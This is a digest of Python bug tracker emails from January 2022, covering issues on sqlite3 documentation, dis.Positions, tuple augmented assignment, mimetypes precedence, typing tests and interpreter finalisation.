<1642500813.74.0.926149376354.issue46028@roundup.psfhosted.org> STINNER Victor added the comment: See also: https://discuss.python.org/t/virtual-environments-vs-nix-python-upgrades/12588 "Virtual environments vs. *nix Python upgrades". ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 05:25:29 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 Jan 2022 10:25:29 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642501529.31.0.903861941269.issue46402@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +28861 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30660 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 05:28:37 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 Jan 2022 10:28:37 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642501717.19.0.68484212424.issue46402@roundup.psfhosted.org> Erlend E. Aasland added the comment: I created GH-30660 in order to try to enhance the docs. Ned and Eric, would you mind taking a look at the PR? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 06:13:08 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 18 Jan 2022 11:13:08 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1642504388.22.0.675608264436.issue46339@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 8c2fd09f365e082cfceb29afdf38953cdd670946 by Pablo Galindo Salgado in branch 'main': bpo-46339: Include clarification on assert in 'get_error_line_from_tokenizer_buffers' (#30545) https://github.com/python/cpython/commit/8c2fd09f365e082cfceb29afdf38953cdd670946 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 06:21:35 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 18 Jan 2022 11:21:35 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1642504895.11.0.695927712404.issue46390@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: -kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 06:22:16 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 18 Jan 2022 11:22:16 +0000 Subject: [issue46323] Use _PyObject_Vectorcall in Modules/_ctypes/callbacks.c In-Reply-To: <1641787281.46.0.018565492634.issue46323@roundup.psfhosted.org> Message-ID: <1642504936.82.0.452266977914.issue46323@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: -kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 06:34:34 2022 From: report at bugs.python.org (XD Trol) Date: Tue, 18 Jan 2022 11:34:34 +0000 Subject: [issue46391] Library multiprocess leaks named resources. In-Reply-To: <1642269897.29.0.322439501259.issue46391@roundup.psfhosted.org> Message-ID: <1642505674.34.0.442104201205.issue46391@roundup.psfhosted.org> XD Trol added the comment: loop file owner. ---------- nosy: +benjamin.peterson, sbt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 06:38:18 2022 From: report at bugs.python.org (bpoaugust) Date: Tue, 18 Jan 2022 11:38:18 +0000 Subject: [issue46392] MessageIDHeader is too strict for message-id In-Reply-To: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> Message-ID: <1642505898.8.0.522071633906.issue46392@roundup.psfhosted.org> bpoaugust added the comment: When the library is being used to parse existing emails, I think it needs to do the minimum validation and canonicalisation. It may be useful in some circumstances to report where the input is not syntactically correct, but I'm not sure it is helpful to truncate the input at the first syntax error. When the library is used to generate emails, validation should be very strict. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:30:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 12:30:08 +0000 Subject: [issue46422] Why do we need `dis.Positions`? Message-ID: <1642509008.04.0.395294321194.issue46422@roundup.psfhosted.org> New submission from Nikita Sobolev : While working on https://github.com/python/cpython/pull/30058 I've noticed that `Positions` namedtuple is kinda strange, source: https://github.com/python/cpython/blame/8c2fd09f365e082cfceb29afdf38953cdd670946/Lib/dis.py#L204-L213 Why? 1. It is not used. `grep` shows that: ``` ? ag Positions . Misc/HISTORY 21894: treated as being relative to the end of the input string. Positions Objects/codeobject.c 1021:static PyTypeObject PositionsIterator = { 1067: positionsiterator* pi = (positionsiterator*)PyType_GenericAlloc(&PositionsIterator, 0); Mac/PythonLauncher/English.lproj/MainMenu.nib/info.nib 7: IBEditorPositions Lib/dis.py 204:Positions = collections.namedtuple( 205: 'Positions', 239:_Instruction.positions.__doc__ = "dis.Positions object holding the span of source code covered by this instruction" 259: positions - Optional dis.Positions object holding the span of source code Lib/test/test_compile.py 1013:class TestSourcePositions(unittest.TestCase): Doc/library/re.rst 1579:Finding all Adverbs and their Positions ``` 2. Commenting it out does not make `test_dis` to fail (again, because it does not seem to be used) 3. It is documented (in docstrings only, not in `dis.rst`) that `Instruction.positions` is `dis.Positions`, but this is not true. Because `Instruction` is created as: ```python co_positions = co_positions or iter(()) try: positions = next(co_positions) except StopIteration: positions = None Instruction(positions=positions) ``` So, it is at best is `tuple | None`. Never `Positions`. What to do with it? 1. Should it be removed as unused, undocumented, and unreleased? 2. Should it be used as documented? Here: https://github.com/python/cpython/blame/8c2fd09f365e082cfceb29afdf38953cdd670946/Lib/dis.py#L453-L455 3. Any other ideas? In my opinion, it is not required, because we already have `codeobject.co_positions` which is pretty much the same thing: https://docs.python.org/3.11/reference/datamodel.html?highlight=co_positions#codeobject.co_positions I would like to work on it after a final decision is made :) ---------- components: Library (Lib) messages: 410855 nosy: BTaskaya, pablogsal, sobolevn priority: normal severity: normal status: open title: Why do we need `dis.Positions`? type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:31:06 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 12:31:06 +0000 Subject: [issue43950] Include column offsets for bytecode instructions In-Reply-To: <1619521118.33.0.233805842394.issue43950@roundup.psfhosted.org> Message-ID: <1642509066.26.0.0230563296645.issue43950@roundup.psfhosted.org> Nikita Sobolev added the comment: I've opened a new issue about unused `dis.Positions` here: https://bugs.python.org/issue46422 ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:37:12 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 12:37:12 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642509432.04.0.57612679378.issue46402@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +28862 pull_request: https://github.com/python/cpython/pull/30661 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:37:16 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 12:37:16 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642509436.24.0.82357395837.issue46402@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28863 pull_request: https://github.com/python/cpython/pull/30662 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:37:30 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 18 Jan 2022 12:37:30 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642509450.39.0.105459277963.issue46402@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset bdf2ab1887a2edfb089a3c2a1590cf1e84ea0048 by Erlend Egeberg Aasland in branch 'main': bpo-46402: Promote SQLite URI tricks in `sqlite3` docs (GH-30660) https://github.com/python/cpython/commit/bdf2ab1887a2edfb089a3c2a1590cf1e84ea0048 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:45:01 2022 From: report at bugs.python.org (Hai Shi) Date: Tue, 18 Jan 2022 12:45:01 +0000 Subject: [issue45691] Partial moving of core objects to interpreter state is incorrect at best, unsafe at worse. In-Reply-To: <1635869089.92.0.280577291297.issue45691@roundup.psfhosted.org> Message-ID: <1642509901.33.0.211793376681.issue45691@roundup.psfhosted.org> Change by Hai Shi : ---------- nosy: +shihai1991 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:45:10 2022 From: report at bugs.python.org (Hai Shi) Date: Tue, 18 Jan 2022 12:45:10 +0000 Subject: [issue46417] [subinterpreters] Clear static types in Py_Finalize() In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642509910.52.0.401807570942.issue46417@roundup.psfhosted.org> Change by Hai Shi : ---------- nosy: +shihai1991 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 07:57:29 2022 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 18 Jan 2022 12:57:29 +0000 Subject: [issue46417] [subinterpreters] Clear static types in Py_Finalize() In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642510649.22.0.930385863652.issue46417@roundup.psfhosted.org> Petr Viktorin added the comment: If we have static types, that means there is a mechanism to share some objects across interpreters. And if that's the case, why can't small ints (like sys.float_info.n_unnamed_fields) be static & shared as well? ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:02:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 13:02:58 +0000 Subject: [issue1043134] Add preferred extensions for MIME types Message-ID: <1642510978.54.0.0418076644892.issue1043134@roundup.psfhosted.org> Irit Katriel added the comment: PR14375 indeed adds a test for this as well (test_preferred_extension). ---------- nosy: +iritkatriel resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.8 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:10:00 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 13:10:00 +0000 Subject: [issue41791] mimetypes module does not recognize jp2 type In-Reply-To: <1600144307.97.0.591745605568.issue41791@roundup.psfhosted.org> Message-ID: <1642511400.33.0.383288802842.issue41791@roundup.psfhosted.org> Irit Katriel added the comment: It is found by the module-level guess_type but not by the MimeType class's guess_type: >>> from mimetypes import MimeTypes >>> MimeTypes().guess_type('test.jp2') (None, None) >>> mimetypes.guess_type('test.jp2') ('image/jp2', None) >>> That difference is the subject of Issue38656. What remains to decide here is whether jp2 should be added to the builtin list of mimetypes. ---------- nosy: +iritkatriel type: behavior -> enhancement versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:28:36 2022 From: report at bugs.python.org (Ali Ramezani) Date: Tue, 18 Jan 2022 13:28:36 +0000 Subject: [issue46423] CLI: Addition assignment for tuples Message-ID: <1642512516.0.0.820230309045.issue46423@roundup.psfhosted.org> New submission from Ali Ramezani : In CLI (Command Line Interpreter): A tuple has a list component then try to += that component. Since tuple doesn't allow assignment then it raises error but actually does that. If you try actual equivalence (A=A+B) it does not. Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> >>> v=([1],[2]) >>> v[0]=v[0]+[3,4] Traceback (most recent call last): File "", line 1, in TypeError: 'tuple' object does not support item assignment >>> v ([1], [2]) >>> v[0]+=[3,4] Traceback (most recent call last): File "", line 1, in TypeError: 'tuple' object does not support item assignment >>> v ([1, 3, 4], [2]) >>> ---------- messages: 410861 nosy: ramezaniua priority: normal severity: normal status: open title: CLI: Addition assignment for tuples type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:32:17 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 13:32:17 +0000 Subject: [issue46424] `typing.Annotated` one type argument usage is not covered in tests Message-ID: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> New submission from Nikita Sobolev : This condition is not covered: https://github.com/python/cpython/blob/bdf2ab1887a2edfb089a3c2a1590cf1e84ea0048/Lib/typing.py#L1674-L1677 I propose to add a test for it, because `Annotated[int]` is invalid. PR is on its way :) ---------- components: Tests messages: 410862 nosy: kj, sobolevn priority: normal severity: normal status: open title: `typing.Annotated` one type argument usage is not covered in tests type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:34:24 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 13:34:24 +0000 Subject: [issue46424] `typing.Annotated` one type argument usage is not covered in tests In-Reply-To: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> Message-ID: <1642512864.49.0.644453097115.issue46424@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28864 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30663 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:34:51 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 13:34:51 +0000 Subject: [issue46035] mimetypes.guess_type returns deprecated mimetype application/x-javascript In-Reply-To: <1639138259.47.0.962118215101.issue46035@roundup.psfhosted.org> Message-ID: <1642512891.89.0.00471434446042.issue46035@roundup.psfhosted.org> Irit Katriel added the comment: As noted in Issue32462, the fact that system files take precedence over the definitions in the sodlib is a feature, so the proposed patch to reverse this behaviour cannot be applied unless it is decided to change the API in this way. That would require a discussion on python-ideas. If you want to being it up there, and there is a decision to change the behaviour, please create a new issue. ---------- nosy: +iritkatriel resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> mimetypes.guess_type() returns incorrectly formatted type _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:35:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 13:35:14 +0000 Subject: [issue32462] validate mime types loaded from system files. Document that system files take precedence. In-Reply-To: <1514718469.31.0.467229070634.issue32462@psf.upfronthosting.co.za> Message-ID: <1642512914.52.0.7270157989.issue32462@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: mimetypes.guess_type() returns incorrectly formatted type -> validate mime types loaded from system files. Document that system files take precedence. type: behavior -> enhancement versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:37:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 13:37:53 +0000 Subject: [issue32462] validate mime types loaded from system files. Document that system files take precedence. In-Reply-To: <1514718469.31.0.467229070634.issue32462@psf.upfronthosting.co.za> Message-ID: <1642513073.35.0.544147686543.issue32462@roundup.psfhosted.org> Irit Katriel added the comment: I've closed Issue46035 as a duplicate of this. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:39:10 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 13:39:10 +0000 Subject: [issue32462] validate mime types loaded from system files. Document that system files take precedence. In-Reply-To: <1514718469.31.0.467229070634.issue32462@psf.upfronthosting.co.za> Message-ID: <1642513150.74.0.60963430395.issue32462@roundup.psfhosted.org> Irit Katriel added the comment: I've closed Issue43975 as a duplicate of this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:39:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 13:39:07 +0000 Subject: [issue43975] Incorrect MIME type returned for .js files Windows 10. In-Reply-To: <1619687748.29.0.910634957661.issue43975@roundup.psfhosted.org> Message-ID: <1642513147.31.0.390930982987.issue43975@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> validate mime types loaded from system files. Document that system files take precedence. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:57:55 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 Jan 2022 13:57:55 +0000 Subject: [issue40255] Fixing Copy on Writes from reference counting and immortal objects In-Reply-To: <1586619621.82.0.553262088399.issue40255@roundup.psfhosted.org> Message-ID: <1642514275.11.0.290546880906.issue40255@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: Fixing Copy on Writes from reference counting -> Fixing Copy on Writes from reference counting and immortal objects _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:58:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 Jan 2022 13:58:57 +0000 Subject: [issue46417] [subinterpreters] Clear static types in Py_Finalize() In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642514337.76.0.937963974418.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: > If we have static types, that means there is a mechanism to share some objects across interpreters. Sharing objects between interpreters is bad and is causing complex bugs. See a recent example of an object traveling from one interpreter to another and then causing a random crash on Windows related to the garbage collector: * https://bugs.python.org/issue46070 * https://github.com/python/cpython/pull/30577#pullrequestreview-852106207 > And if that's the case, why can't small ints (like sys.float_info.n_unnamed_fields) be static & shared as well? I would prefer to discuss that in other issues like bpo-40255 or bpo-39511, and focus this issue on fixing the static types implementation when Python is embedded in an application. -- Hum, this issue is not really related to sub-interpreters. My proposed PR only changes Py_Finalize(): the main interpreter. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:59:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 Jan 2022 13:59:27 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642514367.94.0.866494462779.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- components: +Interpreter Core -Subinterpreters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 08:59:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 Jan 2022 13:59:21 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642514361.75.0.431946576355.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: [subinterpreters] Clear static types in Py_Finalize() -> Clear static types in Py_Finalize() for embedded Python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 09:26:28 2022 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 18 Jan 2022 14:26:28 +0000 Subject: [issue46423] CLI: Addition assignment for tuples In-Reply-To: <1642512516.0.0.820230309045.issue46423@roundup.psfhosted.org> Message-ID: <1642515988.32.0.0539517836987.issue46423@roundup.psfhosted.org> Mark Dickinson added the comment: Thanks for the report. This is a long-standing and known behaviour. It's been discussed a good few times before, and (quite apart from potential problems with backwards compatibility) no-one has yet come up with convincing alternative behaviours. See https://docs.python.org/3/faq/programming.html#why-does-a-tuple-i-item-raise-an-exception-when-the-addition-works Marking as a duplicate of https://bugs.python.org/issue40911 ---------- nosy: +mark.dickinson resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Unexpected behaviour for += assignment to list inside tuple _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 09:41:53 2022 From: report at bugs.python.org (milahu) Date: Tue, 18 Jan 2022 14:41:53 +0000 Subject: [issue46035] mimetypes.guess_type returns deprecated mimetype application/x-javascript In-Reply-To: <1639138259.47.0.962118215101.issue46035@roundup.psfhosted.org> Message-ID: <1642516913.11.0.902419693635.issue46035@roundup.psfhosted.org> milahu added the comment: this issue is different than Issue32462 because here, both entries are valid ``` cat /etc/mime.types | grep javascript application/javascript js application/x-javascript js ``` but the alphabetical ordering of the file makes the last entry take precedence python could be smarter at parsing the /etc/mime.types file in that it could give lower precedence to the deprecated types pseudocode: deprecated_mimetypes = set(...) # values from rfc4329 mimetype_of_ext = dict() # parser loop for ... ext = "..." mimetype = "..." if ext in mimetype_of_ext: old_mimetype = mimetype_of_ext[ext] if old_mimetype in deprecated_mimetypes: mimetype_of_ext[ext] = mimetype # replace old with new # assume that mimetype is not deprecated mimetype_of_ext[ext] = mimetype ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 09:43:22 2022 From: report at bugs.python.org (milahu) Date: Tue, 18 Jan 2022 14:43:22 +0000 Subject: [issue46035] mimetypes.guess_type returns deprecated mimetype application/x-javascript In-Reply-To: <1639138259.47.0.962118215101.issue46035@roundup.psfhosted.org> Message-ID: <1642517002.68.0.996046041893.issue46035@roundup.psfhosted.org> milahu added the comment: edit: - mimetype_of_ext[ext] = mimetype + else: + # add new entry + mimetype_of_ext[ext] = mimetype ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 09:44:17 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 18 Jan 2022 14:44:17 +0000 Subject: [issue46424] `typing.Annotated` one type argument usage is not covered in tests In-Reply-To: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> Message-ID: <1642517057.27.0.179281722459.issue46424@roundup.psfhosted.org> Ken Jin added the comment: New changeset 32398294fb3fcf4ee74da54722fd0221c4e6cb74 by Nikita Sobolev in branch 'main': bpo-46424: [typing] cover `Annotation[arg]` invalid usage in tests (GH-30663) https://github.com/python/cpython/commit/32398294fb3fcf4ee74da54722fd0221c4e6cb74 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 09:51:45 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 14:51:45 +0000 Subject: [issue46035] mimetypes.guess_type returns deprecated mimetype application/x-javascript In-Reply-To: <1639138259.47.0.962118215101.issue46035@roundup.psfhosted.org> Message-ID: <1642517505.01.0.637075934527.issue46035@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: duplicate -> status: closed -> open type: behavior -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 09:51:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 14:51:58 +0000 Subject: [issue46035] mimetypes.guess_type returns deprecated mimetype application/x-javascript In-Reply-To: <1639138259.47.0.962118215101.issue46035@roundup.psfhosted.org> Message-ID: <1642517518.23.0.886836741781.issue46035@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: resolved -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 09:53:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 14:53:40 +0000 Subject: [issue46035] mimetypes.guess_type returns deprecated mimetype application/x-javascript In-Reply-To: <1639138259.47.0.962118215101.issue46035@roundup.psfhosted.org> Message-ID: <1642517620.49.0.665480763852.issue46035@roundup.psfhosted.org> Irit Katriel added the comment: Ok, I reopened this as an enhancement request for mimetypes to know about the 'deprecated' types. If you want to push it forward it might be a good idea to bring this up on python-ideas as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 10:46:34 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 18 Jan 2022 15:46:34 +0000 Subject: [issue46028] 3.11.0a3: under tox, sys._base_executable is wrong In-Reply-To: <1639095861.79.0.661493259569.issue46028@roundup.psfhosted.org> Message-ID: <1642520794.83.0.43904274212.issue46028@roundup.psfhosted.org> Steve Dower added the comment: New changeset 7407fe4c25ba0308d49e3e88e4a107ef32251cdc by Steve Dower in branch 'main': bpo-46028: Calculate base_executable by resolving symlinks in a venv (GH-30144) https://github.com/python/cpython/commit/7407fe4c25ba0308d49e3e88e4a107ef32251cdc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 10:47:49 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 18 Jan 2022 15:47:49 +0000 Subject: [issue46028] 3.11.0a3: under tox, sys._base_executable is wrong In-Reply-To: <1639095861.79.0.661493259569.issue46028@roundup.psfhosted.org> Message-ID: <1642520869.06.0.97429222351.issue46028@roundup.psfhosted.org> Steve Dower added the comment: Merged my PR, but I want to leave this open in commit review for now - I'm not sure it deals with all the issues here, and probably not everything from the Discourse thread linked by Victor (though it might come close). ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 10:51:15 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 18 Jan 2022 15:51:15 +0000 Subject: [issue46424] `typing.Annotated` one type argument usage is not covered in tests In-Reply-To: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> Message-ID: <1642521075.42.0.431668728875.issue46424@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 10:52:03 2022 From: report at bugs.python.org (Matthew Barnett) Date: Tue, 18 Jan 2022 15:52:03 +0000 Subject: [issue46410] TypeError when parsing regexp with unicode named character sequence escape In-Reply-To: <1642422690.85.0.963373421806.issue46410@roundup.psfhosted.org> Message-ID: <1642521123.5.0.70329387804.issue46410@roundup.psfhosted.org> Matthew Barnett added the comment: They're not supported in string literals either: Python 3.10.1 (tags/v3.10.1:2cd268a, Dec 6 2021, 19:10:37) [MSC v.1929 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> "\N{KEYCAP NUMBER SIGN}" File "", line 1 "\N{KEYCAP NUMBER SIGN}" ^ SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 0-21: unknown Unicode character name ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 10:55:37 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 Jan 2022 15:55:37 +0000 Subject: [issue43869] Fix documentation of epoch/time.time In-Reply-To: <1618586158.57.0.649486184749.issue43869@roundup.psfhosted.org> Message-ID: <1642521337.27.0.278813996881.issue43869@roundup.psfhosted.org> STINNER Victor added the comment: New changeset ff7703c4b609a697ada8165fd1c52a73404b6d07 by Miguel Brito in branch 'main': bpo-43869: Improve epoch docs (GH-25777) https://github.com/python/cpython/commit/ff7703c4b609a697ada8165fd1c52a73404b6d07 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 11:21:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 Jan 2022 16:21:09 +0000 Subject: [issue43869] Fix documentation of epoch/time.time In-Reply-To: <1618586158.57.0.649486184749.issue43869@roundup.psfhosted.org> Message-ID: <1642522869.23.0.641799837322.issue43869@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28865 pull_request: https://github.com/python/cpython/pull/30664 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 11:25:39 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 Jan 2022 16:25:39 +0000 Subject: [issue43869] Fix documentation of epoch/time.time In-Reply-To: <1618586158.57.0.649486184749.issue43869@roundup.psfhosted.org> Message-ID: <1642523139.75.0.489429435784.issue43869@roundup.psfhosted.org> STINNER Victor added the comment: I was going to close the change, but I had a last look and... oh... I found that the Python test suite checks that the Epoch is 1970-01-01 at 00:00 since 2008! I wrote GH-30664 to add an explicit test and I updated the doc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 11:31:32 2022 From: report at bugs.python.org (milahu) Date: Tue, 18 Jan 2022 16:31:32 +0000 Subject: [issue46035] mimetypes.guess_type returns deprecated mimetype application/x-javascript In-Reply-To: <1639138259.47.0.962118215101.issue46035@roundup.psfhosted.org> Message-ID: <1642523492.11.0.124280958615.issue46035@roundup.psfhosted.org> milahu added the comment: python-ideas thread https://mail.python.org/archives/list/python-ideas at python.org/thread/V53XGQPIY7ZAISMTQHPHKGWZNSN5EXQG/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 12:17:32 2022 From: report at bugs.python.org (bpoaugust) Date: Tue, 18 Jan 2022 17:17:32 +0000 Subject: [issue46392] MessageIDHeader is too strict for message-id In-Reply-To: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> Message-ID: <1642526252.74.0.842090704009.issue46392@roundup.psfhosted.org> bpoaugust added the comment: I think an id of the form should be allowed, but it generates obs-id-left => local-part => obs-local-part => word *("." word) word => atom => [CFWS] 1*atext [CFWS] '' should also be allowed but generates ' (A A)' and '' gives ' ' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 12:21:29 2022 From: report at bugs.python.org (Paulo Henrique Silva) Date: Tue, 18 Jan 2022 17:21:29 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642526489.03.0.78494111756.issue46417@roundup.psfhosted.org> Change by Paulo Henrique Silva : ---------- nosy: +phsilva _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 12:49:46 2022 From: report at bugs.python.org 